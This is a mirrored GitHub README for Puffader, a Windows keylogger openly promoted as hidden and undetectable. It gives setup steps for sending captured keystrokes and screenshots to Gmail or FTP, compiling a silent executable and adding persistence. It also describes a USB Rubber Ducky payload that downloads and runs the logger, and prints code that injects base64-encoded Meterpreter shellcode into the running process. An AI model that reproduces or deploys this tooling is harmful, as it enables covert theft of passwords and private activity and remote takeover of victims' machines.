Giter Site home page Giter Site logo

felixivance / puffader Goto Github PK

View Code? Open in Web Editor NEW

This project forked from xp4xbox/puffader

0.0 2.0 0.0 73 KB

Puffader is an opensource, hidden and undetectable keylogger for windows written in Python 2.7 which can also capture screenshots and mouse window clicks.

License: MIT License

Python 73.46% PowerShell 26.54%

puffader's Introduction

Build status

Puffader

Puffader is an opensource, hidden and undetectable keylogger for windows written in Python 2.7 which can also capture screenshots and mouse window clicks.

Installation

Puffader Requires:

Please refer to the wiki for more information on installing prerequisites.

The program can be downloaded via github or git eg. git clone https://github.com/xp4xbox/Puffader

Features

Currently Puffader has several features such as:

  • Ability to send logs to any gmail account.
  • Ability to send logs via ftp
  • Ability to capture screenshots
  • Ability to store logs locally
  • Ability to configure log size before sending
  • Ability to send logs at timed intervals
  • Ability to control how you want the backspace key to be outputed as.
  • Ability to stop the program via ctrl-rshift-h.
  • Ability to log special characters.
  • Ability to embed an undetectable meterpreter shell
  • Optional persistence.
  • Ability to capture window mouse clicks
  • Checking for multiple instances
  • USB Rubber Ducky payload
  • And more...

Quick Usage

  1. Open file with idle or any other editor.
  2. Modifiy lines 22-45 for your personal preference: eg.
strEmailAc = "[email protected]"
strEmailPass = "pass"

blnFTP = "False"
strFtpServer = ""
intFtpPort = 21
strFtpUser = ""
strFtpPass = ""
strFtpRemotePath = "/"

intCharPerSend = 1000

blnUseTime = "False"
intTimePerSend = 120

blnStoreLocal = "True"
strLogFile = "c:/temp/test.txt"

blnLogClick = "True"
blnBackRemove = "True"

blnScrShot = "True"
strScrDir = "c:/temp"
intScrTime = 120

NOTE: For strScrDir, be sure to leave out the last /.

If you plan to send messages via email, be sure to allow access for less secure apps in your gmail account.

For more information please refer to the wiki.

Compiling Program To .exe

Py2Exe (recommmended)

  1. Add this code to Puffader.py sys.stderr = None after the import statements to ensure no errors will show.
  2. Install Py2Exe.
  3. Run python setup.py

cx_Freeze

  1. Add this code to Puffader.py sys.stderr = None after the import statements to ensure no errors will show.
  2. Install cx_Freeze via pip install cx_freeze.
  3. Run python cx_freeze_setup.py build.

Or refer to the wiki for more information.

Using Persistence

Please refer to the wiki.

USB Rubber Ducky Payload

  1. Zip the compiled .exe's folder and upload it to any file sharing service.
  2. Edit payload.ps1 setting $url to be the direct link to the .zip. $ZipName to be the .zip name and $strFileDir to be the folder name inside the .zip file.
  3. Upload your payload.ps1 as well.
  4. Set $url in inject.txt to be the direct link for payload.ps1.
  5. Encode to inject.bin using my encoder or any other one.

TIP: Forking this project and using personal rep for changes is a alternative way to host the files.

Adding Meterpreter Plugin

  1. Generate raw shellcode using msfvenom (eg. xr8\x02...).
  2. Encode the shellcode to base64 by using this.
  3. Move the code_injector module to same dir as the program.
  4. Paste in this code after the function to prevent multiple instances as here. Setting b64shellcode to be your encrypted shellcode.
import code_injector, base64
# base64 shellcode
b64shellcode = ""
shellcode = base64.b64decode(b64shellcode)  # decrypt shellcode
pid = os.getpid()  # get current pid

code_injector.InjectShellCode(pid, shellcode)  # inject the shellcode into the program
  1. Build program with Py2Exe using setup.py to compile the program to single .exe.

Check my other project PyEvade for more info on how this works.

Help

If you need any help at all, feel free to post a "help" issue.

Contributing

Contributing is encouraged and will help make a better program. Please refer to this before contributing.

Disclaimer

This program must be used for legal purposes! I am not responsible for anything you do with it.

License

License

puffader's People

Contributors

xp4xbox avatar modelorona avatar revolter avatar vaibhavsingh97 avatar

Watchers

James Cloos avatar Felix Ivance avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.